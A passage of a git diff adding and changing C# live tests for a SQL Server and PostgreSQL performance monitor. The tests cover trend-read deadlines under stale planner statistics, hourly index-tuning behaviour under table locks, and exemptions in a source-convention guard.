      cntr_value, delta_cntr_value, sample_interval_seconds)
@@ -369,7 +375,7 @@ INSERT INTO perfmon_stats
        5000000 + n * 900, 900 + (n % 50) * 3, 60
 FROM generate_series(0, $5) AS n", 11_000_000L, weekStart, WeekMinutes);
 
-        await PlantAsync(connection, ct, $@"
+        await Plant($@"
 INSERT INTO pg_statement_stats
     (collection_id, collection_time, server_id, server_name, queryid,
      delta_calls, delta_total_exec_time_ms, sample_interval_seconds)
@@ -380,7 +386,7 @@ INSERT INTO pg_statement_stats
         /* #4193: get_pg_cpu_utilization's own table, one row/minute like the rest of the family, with the
            V136 host-memory columns populated (not left NULL) since those are what doubled the pre-bucketing
            row width the issue measured. */
-        await PlantAsync(connection, ct, @"
+        await Plant(@"
 INSERT INTO pg_cpu_utilization
     (collection_id, collection_time, server_id, server_name, sample_time,
      cpu_percent, acu_utilization_percent, serverless_capacity_acu, max_configured_acu,
@@ -393,13 +399,14 @@ INSERT INTO pg_cpu_utilization
 
     /// <summary>One generate_series plant: $1 an id base past anything the generator has handed out, $2 the first
     /// collection, $3/$4 the server, $5 the last minute's index.</summary>
-    private static async Task PlantAsync(NpgsqlConnection connection, CancellationToken ct, string sql, long idOffset, DateTime first, int minutes)
+    private static async Task PlantAsync(
+        NpgsqlConnection connection, CancellationToken ct, string sql, long idOffset, DateTime first, int minutes, int serverId, string serverName)
     {
         using var plant = new NpgsqlCommand(sql, connection) { CommandTimeout = 300 };
         plant.Parameters.AddWithValue(CollectionIdGenerator.Next() + idOffset * 100);
         plant.Parameters.AddWithValue(DarlingMcpTestData.Naive(first));
-        plant.Parameters.AddWithValue(ServerId);
-        plant.Parameters.AddWithValue(ServerName);
+        plant.Parameters.AddWithValue(serverId);
+        plant.Parameters.AddWithValue(serverName);
         plant.Parameters.AddWithValue(minutes);
         await plant.ExecuteNonQueryAsync(ct);
     }
diff --git a/Darling/Darling.Tests/TrendStaleStatsLiveTests.cs b/Darling/Darling.Tests/TrendStaleStatsLiveTests.cs
new file mode 100644
index 0000000000..72199e9e17
--- /dev/null
+++ b/Darling/Darling.Tests/TrendStaleStatsLiveTests.cs
@@ -0,0 +1,183 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5425: every trend read <see cref="TrendPayloadBudgetLiveTests"/> covers, run against the planner state that
+/// made <c>get_pg_io_trend</c> answer "Exception while reading from stream" (its 30 s read deadline).
+///
+/// <para>One store holds many servers, so a table's statistics routinely describe other rows: an autoanalyze that
+/// ran while the table held another server's data, or none. The planner then estimates one row for this server's
+/// window, picks a nested loop for any join, and re-runs whatever sits on the inner side once per outer row.
+/// Two reads had such a join over a windowed pass: <c>get_pg_io_trend</c> (the interval to the previous
+/// collection; 64.7 s over 72 hours, 60 ms after the fix) and <c>get_file_io_trend</c> (every file I/O row joined
+/// to the ranking of the series; 84.6 s over a week of the 609-series census shape, 2 s after the fix). Every
+/// other read is a single pass over its table and measured under 1.5 s on the same state.</para>
+///
+/// <para>This fixture builds that state on purpose, for all twelve tables the census seeds: statistics taken over
+/// another server's rows from well before the window, then those rows deleted, then the real server's rows
+/// planted. Autovacuum is switched off on the tables for the duration (best effort: a hypertable's chunks keep
+/// their own setting), so an autoanalyze cannot heal the state between planting and reading and turn this into a
+/// test of nothing. The reads go through the tools, with the real 30 s deadline: a read that goes quadratic is
+/// cancelled at the deadline and the tool answers an error envelope, which fails the status check below.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class TrendStaleStatsLiveTests
+{
+    private const string ServerName = "trend-stale-stats";
+    private const string OtherServerName = "trend-stale-stats-other";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int OtherServerId = ServerIdHelper.GetDeterministicHashCode(OtherServerName);
+
+    /// <summary>The same shape <c>TrendPayloadBudgetLiveTests.SeedAsync</c> plants.</summary>
+    private const string PgQueryIdText = "987654321";
+
+    private static readonly string[] Tables =
+    {
+        "file_io_stats", "wait_stats", "query_stats", "pg_io_stats", "pg_database_stats",
+        "cpu_utilization_stats", "tempdb_stats", "memory_stats", "memory_grant_stats", "perfmon_stats", "pg_statement_stats",
+        "pg_cpu_utilization",
+    };
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task EveryTrendRead_AnswersWithinTheDeadline_WhenThePlannersRowEstimatesAreStale()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live stale-statistics trend reads.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await SetAutovacuumAsync(connection, "autovacuum_enabled = false", ct);
+
+            var now = DateTime.UtcNow;
+            var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0).AddMinutes(-1);
+
+            /* Statistics over ANOTHER server's rows, from well before this window, then those rows gone: the
+               planner's picture of every table is now "nothing near this server_id or these times". */
+            await TrendPayloadBudgetLiveTests.SeedAsync(connection, end.AddDays(-40), ct, OtherServerId, OtherServerName);
+            foreach (var table in Tables)
+            {
+                using var analyze = new NpgsqlCommand($"ANALYZE {table}", connection) { CommandTimeout = 300 };
+                await analyze.ExecuteNonQueryAsync(ct);
+            }
+
+            await DeleteRowsAsync(connection, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await TrendPayloadBudgetLiveTests.SeedAsync(connection, end, ct, ServerId, ServerName);
+
+            var output = TestContext.Current.TestOutputHelper;
+            var failures = new List<string>();
+            foreach (var hours in new[] { 72, 168 })
+            {
+                var reads = new (string Tool, string PointsKey, Func<Task<string>> Run)[]
+                {
+                    ("get_file_io_trend", "trend", () => DarlingMcpTrendTools.GetFileIoTrend(postgres, ServerName, hours)),
+                    ("get_lock_wait_trend", "trend", () => DarlingMcpBlockingTools.GetLockWaitTrend(postgres, ServerName, hours)),
+                    ("get_pg_io_trend", "points", () => DarlingMcpPgTrendTools.GetPgIoTrend(postgres, ServerName, hours_back: hours)),
+                    ("get_pg_database_trend", "points", () => DarlingMcpPgTrendTools.GetPgDatabaseTrend(postgres, ServerName, hours_back: hours)),
+                    ("get_pg_cpu_utilization", "samples", () => DarlingMcpPgCpuUtilizationTools.GetPgCpuUtilization(postgres, ServerName, hours_back: hours)),
+                    ("get_wait_trend", "trend", () => DarlingMcpDataTools.GetWaitTrend(postgres, "LCK_M_S", ServerName, hours)),
+                    ("get_cpu_utilization", "samples", () => DarlingMcpDataTools.GetCpuUtilization(postgres, ServerName, hours)),
+                    ("get_tempdb_trend", "trend", () => DarlingMcpDataTools.GetTempDbTrend(postgres, ServerName, hours)),
+                    ("get_memory_trend", "trend", () => DarlingMcpTrendTools.GetMemoryTrend(postgres, ServerName, hours)),
+                    ("get_perfmon_trend", "trend", () => DarlingMcpTrendTools.GetPerfmonTrend(postgres, "Batch Requests/sec", ServerName, hours)),
+                    ("get_pg_query_duration_trend", "points", () => DarlingMcpPgTrendTools.GetPgQueryDurationTrend(postgres, ServerName, PgQueryIdText, hours)),
+                    /* The raw query-stats tier holds four days: get_query_duration_trend is rostered to 72 h. */
+                    ("get_query_duration_trend", "trend", () => DarlingMcpTrendTools.GetQueryDurationTrend(postgres, ServerName, hours_back: Math.Min(hours, 72))),
+                };
+
+                foreach (var (tool, pointsKey, run) in reads)
+                {
+                    var clock = Stopwatch.StartNew();
+                    var answer = await run();
+                    clock.Stop();
+                    output?.WriteLine($"{tool} {hours}h: {clock.ElapsedMilliseconds} ms");
+
+                    var root = JsonDocument.Parse(answer).RootElement;
+                    var status = root.TryGetProperty("status", out var s) ? s.GetString() : null;
+                    if (status is not (null or "io_trend" or "database_trend" or "query_duration_trend"))
+                    {
+                        failures.Add($"{tool} over {hours}h answered {status} after {clock.ElapsedMilliseconds} ms: {answer[..Math.Min(answer.Length, 300)]}");
+                    }
+                    else if (root.GetProperty(pointsKey).GetArrayLength() == 0)
+                    {
+                        failures.Add($"{tool} over {hours}h returned no points");
+                    }
+                }
+            }
+
+            Assert.True(failures.Count == 0, string.Join(Environment.NewLine, failures));
+
+            /* #5425 first pass: the interval join of get_pg_io_trend, at the width and window it failed at.
+               72 hours at 30-minute buckets is 144 buckets; the first snapshot has nothing to difference against
+               and the last bucket may be partial. */
+            var points = await DarlingPgTrendReader.GetIoTrendAsync(
+                postgres, ServerId, "client backend", "normal", end.AddHours(-72), end, 30, ct);
+            Assert.InRange(points.Count, 140, 146);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, token) =>
+            {
+                await DeleteRowsAsync(cleanup, token);
+                await SetAutovacuumAsync(cleanup, null, token);
+            });
+        }
+    }
+
+    /// <summary>Turns autovacuum off (or, with <c>null</c>, back to the table's default) on every table the
+    /// census seeds.</summary>
+    private static async Task SetAutovacuumAsync(NpgsqlConnection connection, string? setting, CancellationToken ct)
+    {
+        foreach (var table in Tables)
+        {
+            var sql = setting is null ? $"ALTER TABLE {table} RESET (autovacuum_enabled)" : $"ALTER TABLE {table} SET ({setting})";
+            using var alter = new NpgsqlCommand(sql, connection) { CommandTimeout = 60 };
+            await alter.ExecuteNonQueryAsync(ct);
+        }
+    }
+
+    private static async Task DeleteRowsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        foreach (var id in new[] { ServerId, OtherServerId })
+        {
+            foreach (var table in Tables.Append("servers"))
+            {
+                using var delete = new NpgsqlCommand($"DELETE FROM {table} WHERE server_id = $1", connection) { CommandTimeout = 300 };
+                delete.Parameters.AddWithValue(id);
+                await delete.ExecuteNonQueryAsync(ct);
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TsqlConventionGuardTests.cs b/Darling/Darling.Tests/TsqlConventionGuardTests.cs
index 3c5d132d26..186aaa3b87 100644
--- a/Darling/Darling.Tests/TsqlConventionGuardTests.cs
+++ b/Darling/Darling.Tests/TsqlConventionGuardTests.cs
@@ -94,6 +94,8 @@ namespace Darling.Tests;
 /// which is how the gap was found rather than assumed. The injected path has to EXIST — that guard drops
 /// references which do not resolve on disk, so a made-up filename is a red-proof that proves nothing.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class TsqlConventionGuardTests
 {
     /* Rule identifiers. Covered ones are what Findings can emit; uncovered ones exist so the disposition map
@@ -1457,6 +1459,19 @@ of that kind here. */
         "Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureLog.cs IsStatementTimeout",
         "Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs ToSettings",
         "Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs IsConfigured",
+        /* #5452: two expression-bodied members that open with a property pattern (`is { IsConfiguration: true } found`,
+           `role is { } key`) before a ternary, the shape of ListLongQueryTraceDatabasesAsync below. The walk's brace match
+           closes each range at the pattern's own closing brace, stranding the ternary's arms (`found : null`,
+           `key.CredentialScope : string.Empty`). Neither arm holds a string literal, so no census reads a site of that
+           kind here; the stranded text is not T-SQL and not a tempdb label. */
+        "Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs AwsRoleConfigurationFault",
+        "Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleKey.cs ScopeOf",
+        /* The long-query trace's database listing: an expression-bodied member whose body opens with a property
+           pattern (`LongQueryTraceListOverrideForTests is { } listOverride`) before its ternary. The walk's brace
+           match closes the range at the pattern's own closing brace, stranding the ternary's arms, which are calls
+           to the test hook and to GetAzureDatabaseListAsync. They hold no string literal, so no census reads a site
+           of that kind here. The Lite twin (RemoteCollectorService.LongQueryCompletions.cs, below) has the same shape. */
+        "Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs ListLongQueryTraceDatabasesAsync",
         /* #4253: an expression-bodied member whose body opens with a property pattern
            (`marker is { State: ... }`) before the rest of the expression. The walk's brace match closes the
            range at the pattern's own closing brace, stranding the trailing `&& !cancellationToken.
@@ -1467,6 +1482,12 @@ census reads a site of that kind here. */
         /* #4214: an expression-bodied one-liner, same shape as the pairs elsewhere in this list — it strands
            only its own ternary, not T-SQL or a tempdb label, so no census reads a site of that kind here. */
         "Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs ComputeEffectiveMemoryLimitBytes",
+        /* #5329: ARRIVED, the walk now stops short here. IoHourlyCoversWindow is an expression-bodied member
+           whose body opens with a property pattern (`coverage.FloorOf(ioView) is { } floor && floor <= startUtc`),
+           the same shape as the property-pattern members above. The brace match closes the range at the
+           pattern's own `{ }`, stranding `floor <= startUtc`. That is a comparison of two locals: no string
+           literal, no T-SQL and no tempdb label, so no census reads a site of that kind there. */
+        "Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.RollupAvailability.cs IoHourlyCoversWindow",
         "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs OutputFinding",
         "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStallProbeReader.cs TriggerMbPerSecond",
         "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStallProbeReader.cs TerminalSilenceMs",
@@ -1475,6 +1496,12 @@ census reads a site of that kind here. */
            Neither is T-SQL and neither is a tempdb label, so no census reads a site of that kind here. */
         "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs Stamp",
         "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs Window",
+        /* #4938: get_collection_health's compact row is an expression-bodied `runTime is null ? new { … } : new { … }`,
+           so the walk stops at the first anonymous object's closing brace and strands the second shape. What falls
+           outside the range is that shape's own KEY NAMES and the "o" round-trip format on last_success: not T-SQL, not
+           a tempdb label, and read by the payload censuses from the serialized payload and the tool's description rather
+           than from a member-scoped literal sweep. The Lite twin (McpHealthTools.cs, below) has the same shape. */
+        "Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs CompactCollectionHealthRow",
         /* #3691 line 70: audit_config's PostgreSQL projection row serializes through an expression-bodied
            `ObjectName is null ? new { … } : new { … }` — the two anonymous-object initializers are where the
            walk stops, the same shape as the property-pattern derivations below. What falls outside the range
@@ -1496,7 +1523,6 @@ Lite twin (LocalDataService.FinOps.IndexObjects.cs, below) derives the same four
         "Darling/PerformanceMonitor.Darling.Service/Targets/SqlServerTargetProvider.cs WithDatabase",
         "Darling/PerformanceMonitor.Darling.Viewer/MainWindow.ServerManagement.cs SelectedTabCollectorScope",
         "Darling/PerformanceMonitor.Darling.Viewer/ManageServersWindow.xaml.cs LastCollectedDisplay",
-        "Darling/PerformanceMonitor.Darling.Viewer/RecommendationsViewModel.cs HasStructuredFixAction",
         "Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs BuildViewerPreferences",
         "Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs EventTimeLocal",
         "Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs DeadlockTimeLocal",
@@ -1507,6 +1533,9 @@ Lite twin (LocalDataService.FinOps.IndexObjects.cs, below) derives the same four
         "Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PlanCorrection.cs Local",
         "Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.SystemEvents.cs Local",
         "Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs Timestamp",
+        /* #4938: the Lite twin of DarlingMcpDataTools' CompactCollectionHealthRow above: the same
+           `runTime is null ? new { … } : new { … }` shape, stranding the same key names and "o" format. */
+        "Lite/Mcp/McpHealthTools.cs CompactCollectionHealthRow",
         "Lite/Services/LocalDataService.CollectionHealth.cs OutputFinding",
         /* #4917: an expression-bodied property whose body opens with a property pattern
            (`Newest is { } newest`) before the rest of the expression. The walk's brace match closes the
@@ -1514,12 +1543,20 @@ Lite twin (LocalDataService.FinOps.IndexObjects.cs, below) derives the same four
            newest > TimeSpan.FromDays(ArchiveService.HotDataDays)`, an age comparison on the newest snapshot
            time, not T-SQL and not a tempdb label, so no census reads a site of that kind here. */
         "Lite/Services/LocalDataService.DatabaseStates.cs IsStale",
+        /* #5562: an expression-bodied method whose body opens with a property pattern (`untilUtc is { } end ? … : …`), the
+           same shape as IsStale above. The brace match closes the range at the pattern's own `}`, stranding the two calls to
+           ReadAlertHistoryAsync. They hold no string literal and no T-SQL (the SQL is in ReadAlertHistoryAsync, which the scan
+           reads whole), so no census reads a site of that kind outside the range. */
+        "Lite/Services/LocalDataService.AlertHistory.cs GetAlertHistoryWindowAsync",
         /* #3541 A12: the Lite twin of the four DarlingObjectStatsReader growth derivations above — the same
            `is { } b ? … : null` shape, the same absence of any string literal. */
         "Lite/Services/LocalDataService.FinOps.IndexObjects.cs DailyGrowthRateMb",
         "Lite/Services/LocalDataService.FinOps.IndexObjects.cs Growth30dMb",
         "Lite/Services/LocalDataService.FinOps.IndexObjects.cs Growth7dMb",
         "Lite/Services/LocalDataService.FinOps.IndexObjects.cs GrowthOverAvailableHistoryMb",
+        /* The Lite twin of DarlingCollectorRunner's ListLongQueryTraceDatabasesAsync above: the same
+           `is { } listOverride ? … : …` shape, and the same absence of any string literal. */
+        "Lite/Services/RemoteCollectorService.LongQueryCompletions.cs ListLongQueryTraceDatabasesAsync",
         /* #4766: the history rows' expression-bodied formatter, `naiveUtc is not { } instant ? "" : ...`. The
            property pattern's braces are where the walk stops. What it strands is the "yyyy-MM-dd HH:mm:ss" grid
            format and nothing else: not T-SQL and not a tempdb label, so no census reads a site of that kind here. */
@@ -1532,6 +1569,10 @@ Lite twin (LocalDataService.FinOps.IndexObjects.cs, below) derives the same four
            on dev's 291e15f8 run); the buffer drill-down's `Round` LEFT on the same run — #3799 reshaped it into a
            block the walk reads whole — so its #3804 line comes off here. */
         "Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Plans.cs Ratio",
+        /* #5558: the secondary-replica rule's expression-bodied `IsFresh` (`snapshotUtc is { } at && at <= windowEndUtc && ...`),
+           the same expression-shaped member as the lines above. What its range strands is the pattern variable and the
+           comparison, no T-SQL, no tempdb label and no SQL literal a census reads. ARRIVED with #5558. */
+        "PerformanceMonitor.Common/AgReplicaScope.cs IsFresh",
     ];
 
     /* ───────────────────────── the resolver, pinned on arranged source ───────────────────────── */
diff --git a/Darling/Darling.Tests/TuningDropLockRecoveryLiveTests.cs b/Darling/Darling.Tests/TuningDropLockRecoveryLiveTests.cs
index 809a6606a0..afee16b890 100644
--- a/Darling/Darling.Tests/TuningDropLockRecoveryLiveTests.cs
+++ b/Darling/Darling.Tests/TuningDropLockRecoveryLiveTests.cs
@@ -48,6 +48,9 @@ public async Task BlockedDrop_GivesUpAtItsTimeout_AndTheSweepRecoversForLaterSta
         await body.OpenAsync(ct);
         await PgMigrations.MigrateAsync(body, ct);
 
+        /* A start builds at most one large index, so tune the store fully first; the sweep below then has only the blocked drop to fail. */
+        await TuningStartPasses.ConvergeAsync(body, ct);
+
         /* The pre-#4247 shape of one of the five dropped indexes, recreated by hand: PgTableTuning no longer
            creates it, so a store still carrying it (a field box from before this PR) is exactly the case the
            guarded drop exists for. */
diff --git a/Darling/Darling.Tests/TuningHourlyCreateLiveTests.cs b/Darling/Darling.Tests/TuningHourlyCreateLiveTests.cs
new file mode 100644
index 0000000000..3b157ea480
--- /dev/null
+++ b/Darling/Darling.Tests/TuningHourlyCreateLiveTests.cs
@@ -0,0 +1,199 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The hourly tuning pass runs beside live collection, so a converged store must issue no CREATE INDEX at all
+/// (<c>IF NOT EXISTS</c> takes its table locks before it looks), a missing index must still be built, and a
+/// CREATE that is issued must be bounded by a lock_timeout. Own scratch database per test.
+/// </summary>
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres. */
+[Collection("timing")]
+public sealed class TuningHourlyCreateLiveTests
+{
+    private static readonly string[] TunedIndexes =
+    {
+        "idx_query_stats_server_hash_time",
+        "idx_query_store_stats_server_db_query_plan_time",
+        PgTableTuning.ForcePlanFailuresIndexName,
+        PgTableTuning.LegacyRowIndexName,
+        PgTableTuning.QueryStatsRestartRowIndexName,
+        PgTableTuning.ProcedureStatsRestartRowIndexName,
+        "idx_store_metrics_kind_name_time",
+    };
+
+    /// <summary>
+    /// Deterministic method: a second connection holds ROW EXCLUSIVE (what a writer holds) on each tuned table,
+    /// which conflicts with the ShareLock a CREATE INDEX takes, even an <c>IF NOT EXISTS</c> one that would
+    /// no-op, but not with the lock the pass's ALTER TABLE statements take. The pass's session caps every wait
+    /// at 2 s, so any CREATE that reaches a locked table fails with 55P03 and is not counted as applied: a
+    /// pass that issues none counts every statement.
+    /// </summary>
+    [Fact]
+    public async Task AConvergedStore_IssuesNoCreateIndex_EvenWhileWritersHoldTheTables()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the hourly tuning live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var body = new NpgsqlConnection(scratch.ConnectionString);
+        await body.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(body, ct);
+        await TuningStartPasses.ConvergeAsync(body, ct);
+        foreach (var name in TunedIndexes)
+        {
+            Assert.True(await IndexExistsAsync(body, name, ct), name + " should exist after the first pass");
+        }
+
+        await using var holder = new NpgsqlConnection(scratch.ConnectionString);
+        await holder.OpenAsync(ct);
+        await Exec(holder, "BEGIN", ct);
+        try
+        {
+            await Exec(holder, "LOCK TABLE collect.query_stats, collect.procedure_stats, collect.query_store_stats, collect.store_metrics IN ROW EXCLUSIVE MODE", ct);
+            await Exec(body, "SET lock_timeout = '2s'", ct);
+
+            var applied = await PgTableTuning.ApplyAsync(body, NullLogger.Instance, ct);
+
+            Assert.Equal(PgTableTuning.Statements.Count, applied);
+        }
+        finally
+        {
+            await Exec(holder, "ROLLBACK", CancellationToken.None);
+        }
+    }
+
+    [Fact]
+    public async Task AMissingIndex_IsStillBuilt()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the hourly tuning live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var body = new NpgsqlConnection(scratch.ConnectionString);
+        await body.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(body, ct);
+        await TuningStartPasses.ConvergeAsync(body, ct);
+
+        await Exec(body, "DROP INDEX collect.idx_store_metrics_kind_name_time", ct);
+        Assert.False(await IndexExistsAsync(body, "idx_store_metrics_kind_name_time", ct));
+
+        await PgTableTuning.ApplyAsync(body, NullLogger.Instance, ct);
+        Assert.True(await IndexExistsAsync(body, "idx_store_metrics_kind_name_time", ct));
+    }
+
+    [Fact]
+    public async Task OnTheHourlyPass_AMissingIndexIsNotBuilt_AndOneWarningNamesIt()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the hourly tuning live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        PgTableTuning.ResetHourlyMissingWarnings();
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var body = new NpgsqlConnection(scratch.ConnectionString);
+        await body.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(body, ct);
+        await TuningStartPasses.ConvergeAsync(body, ct);
+
+        await Exec(body, "DROP INDEX collect.idx_store_metrics_kind_name_time", ct);
+        var logger = new CapturingTestLogger();
+
+        var first = await PgTableTuning.ApplyAsync(body, logger, hourly: true, ct);
+        var second = await PgTableTuning.ApplyAsync(body, logger, hourly: true, ct);
+
+        Assert.False(await IndexExistsAsync(body, "idx_store_metrics_kind_name_time", ct),
+            "the hourly pass must not build a missing index");
+        Assert.Equal(PgTableTuning.Statements.Count - 1, first);
+        Assert.Equal(PgTableTuning.Statements.Count - 1, second);
+        var warnings = logger.Lines.Where(l => l.StartsWith("Warning:", StringComparison.Ordinal)
+            && l.Contains("idx_store_metrics_kind_name_time", StringComparison.Ordinal)
+            && l.Contains("collect.store_metrics", StringComparison.Ordinal)).ToList();
+        Assert.True(warnings.Count == 1, "expected exactly one warning naming the index and its table: " + logger.Joined);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+    }
+
+    [Fact]
+    public async Task AStartPathCreate_ThatFindsTheTableBusy_GivesUpAndTheSweepRecovers()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the lock-busy create live test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var body = new NpgsqlConnection(scratch.ConnectionString);
+        await body.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(body, ct);
+        await TuningStartPasses.ConvergeAsync(body, ct);
+        await Exec(body, "DROP INDEX collect.idx_query_stats_server_hash_time", ct);
+
+        await using var holder = new NpgsqlConnection(scratch.ConnectionString);
+        await holder.OpenAsync(ct);
+        await Exec(holder, "BEGIN", ct);
+        try
+        {
+            await Exec(holder, "LOCK TABLE collect.query_stats IN ROW EXCLUSIVE MODE", ct);
+            var logger = new CapturingTestLogger();
+            var clock = Stopwatch.StartNew();
+            var applied = await PgTableTuning.ApplyAsync(body, logger, ct);
+            clock.Stop();
+
+            Assert.True(clock.Elapsed < TimeSpan.FromSeconds(10), $"the busy create took {clock.Elapsed.TotalSeconds:F1}s");
+            Assert.Equal(PgTableTuning.Statements.Count - 1, applied);
+            await using var observer = new NpgsqlConnection(scratch.ConnectionString);
+            await observer.OpenAsync(ct);
+            Assert.False(await IndexExistsAsync(observer, "idx_query_stats_server_hash_time", ct));
+            Assert.Single(logger.Lines, l => l.StartsWith("Information:", StringComparison.Ordinal)
+                && l.Contains("idx_query_stats_server_hash_time", StringComparison.Ordinal)
+                && l.Contains("table was busy", StringComparison.Ordinal));
+        }
+        finally
+        {
+            await Exec(holder, "ROLLBACK", CancellationToken.None);
+        }
+    }
+
+    [Fact]
+    public void ACreateThatIsStillIssued_RunsUnderASetLocalLockTimeout()
+    {
+        var src = RepoFile.ReadRepoFileLf("Darling", "PerformanceMonitor.Darling.Storage", "PgTableTuning.cs");
+        Assert.Contains("GuardedCreate(statement)", src, StringComparison.Ordinal);
+        Assert.Contains("\"BEGIN; SET LOCAL lock_timeout = '\" + CreateLockTimeoutSeconds + \"'; \" + statement + \"; COMMIT;\"", src, StringComparison.Ordinal);
+    }
+
+    private static async Task Exec(NpgsqlConnection c, string sql, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand(sql, c);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<bool> IndexExistsAsync(NpgsqlConnection c, string name, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand("SELECT 1 FROM pg_indexes WHERE schemaname = 'collect' AND indexname = $1", c);
+        cmd.Parameters.AddWithValue(name);
+        return await cmd.ExecuteScalarAsync(ct) is not null;
+    }
+}
diff --git a/Darling/Darling.Tests/TuningIndexReaderPairingTests.cs b/Darling/Darling.Tests/TuningIndexReaderPairingTests.cs
index 654ffeeff6..c2c88f09a8 100644
--- a/Darling/Darling.Tests/TuningIndexReaderPairingTests.cs
+++ b/Darling/Darling.Tests/TuningIndexReaderPairingTests.cs
@@ -6,6 +6,7 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using System;
 using System.Collections.Generic;
 using System.Linq;
 using System.Text.RegularExpressions;
@@ -34,8 +35,11 @@ public sealed class TuningIndexReaderPairingTests
         new Dictionary<string, (string, string)>
         {
             ["idx_query_stats_server_hash_time"] = ("server_id", DarlingStoredPlanReader.QueryStatsPlanXmlByHashSql),
-            ["idx_query_store_stats_server_db_query_plan_time"] = ("server_id", DarlingStoredPlanReader.QueryStorePlanTextSql),
+            ["idx_query_store_stats_server_db_query_plan_time"] = ("server_id", DarlingStoredPlanReader.QueryStorePlanCandidatesSql),
